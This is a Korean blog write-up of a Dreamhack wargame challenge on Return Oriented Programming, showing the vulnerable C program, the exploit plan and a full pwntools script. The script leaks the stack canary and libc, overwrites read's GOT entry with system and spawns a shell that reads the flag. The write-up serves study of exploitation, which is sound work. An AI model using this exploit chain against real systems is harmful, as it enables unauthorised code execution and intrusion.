ROP(Return Oriented Programming)

컴컴한해커·2025년 2월 11일

시스템 해킹

목록 보기
4/6

📌 ROP란?

Return Gadget을 사용하여 실행 흐름을 구현하는 기법.
GOT overwrite, return to library, return to dl-resolve 등의 공격 기법을 연쇄적으로 구성하여 ROP payload를 만들 수 있다.


📌 ROP를 이용한 워게임 Write Up

해당 문제는 드림핵의 rop 문제를 Write up 한 것이다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

📢 코드 분석

write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);

이 코드를 통해 buf를 버퍼 오버플로우시켜 Canary Leak 하여 Canary를 얻는다.

write(1, "Buf: ", 5);
read(0, buf, 0x100);

전에 구했던 Canary 값을 사용하여 이 코드에서 ROP payload를 구성한다.

📢 익스플로잇 설계

1) [1] Leak Canary에서 Buf를 입력하여 Canary Leak을 일으킨다.
2) ROP payload를 구성하기 위해 필요한 read_got, read_plt, write_plt, 그리고 ROPgadget을 구한다.
3) 이제 ROP payload를 구성하는 데 chain 과정은 아래와 같다.

  • read 함수의 libc 주소를 구하기 위해 write(1,read_got,...)을 실행한다.
  • 얻은 read@libc 주소로 system@libc 주소를 구한다.
  • GOT overwrite을 위해 read(0,read_got,...)을 실행한다.
  • read 함수를 통해 system@libc와 /bin/sh을 입력하여 system@libc로 read의 got를 overwrite한다.
  • read 함수를 다시 실행하면 read@got에는 system@libc 주소가 있기 때문에 read 함수를 실행하여 system("/bin/sh")을 실행한다.

이 일련의 과정을 익스플로잇 코드로 짜면 아래와 같다.

# rop.py
from pwn import *

p = remote("host1.dreamhack.games",19470)
e = ELF("./rop")
libc = ELF("./libc.so.6")
r= ROP(e)


read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret = r.find_gadget(['ret'])[0]


# buf = rbp - 0x40
p.sendafter(b'Buf: ',b'A'*57)
p.recvuntil(b'A'*57)
canary = u64(b'\x00'+p.recv(7))
log.info(hex(canary))

payload = b'A'*56 + p64(canary)+b'B'*8

# write(1,read_got,...) --> read 함수의 libc 주소 찾기
payload += p64(pop_rdi)+p64(1)
payload += p64(pop_rsi_r15)+p64(read_got)+p64(1)
payload += p64(write_plt)

# read(0,read_got,...)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi_r15)+ p64(read_got)+p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)+p64(read_got+8)
payload += p64(ret)+p64(read_plt)

# read 
p.sendafter(b'Buf: ',payload)
read = u64(p.recv(6)+b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
log.info(hex(read))
log.info(hex(lb))
log.info(hex(system))

p.send(p64(system)+b'/bin/sh\x00')
p.interactive()

결과

[+] Opening connection to host1.dreamhack.games on port 19470: Done
[*] '/home/li-sh/Desktop/dreamhack/rop/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/home/li-sh/Desktop/dreamhack/rop/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Loaded 14 cached gadgets for './rop'
[*] 0xa8dcc8aa6ebf5900
[*] 0x7fa860186980
[*] 0x7fa860072000
[*] 0x7fa8600c2d60
[*] Switching to interactive mode
$ ls
flag
rop
run.sh
$ cat flag
DH{***************************}

이 원리 이해하는 데 엄청 오래 걸렸다. 특히 "read(0,read_got,...)에서 입력을 받아야 하는데 언제 입력을 받지?" 이거 때문에 엄청 헷갈렸던 것 같다. 그리고 libc, plt, got 주소가 서로서로 헷갈리게 사용하고 있었던 것도 헷갈린 요소였다.
결론 : 원리를 이해해도 다양한 문제에 적용 할 수 있게 다양한 문제들로 연습해야 겠다.

0개의 댓글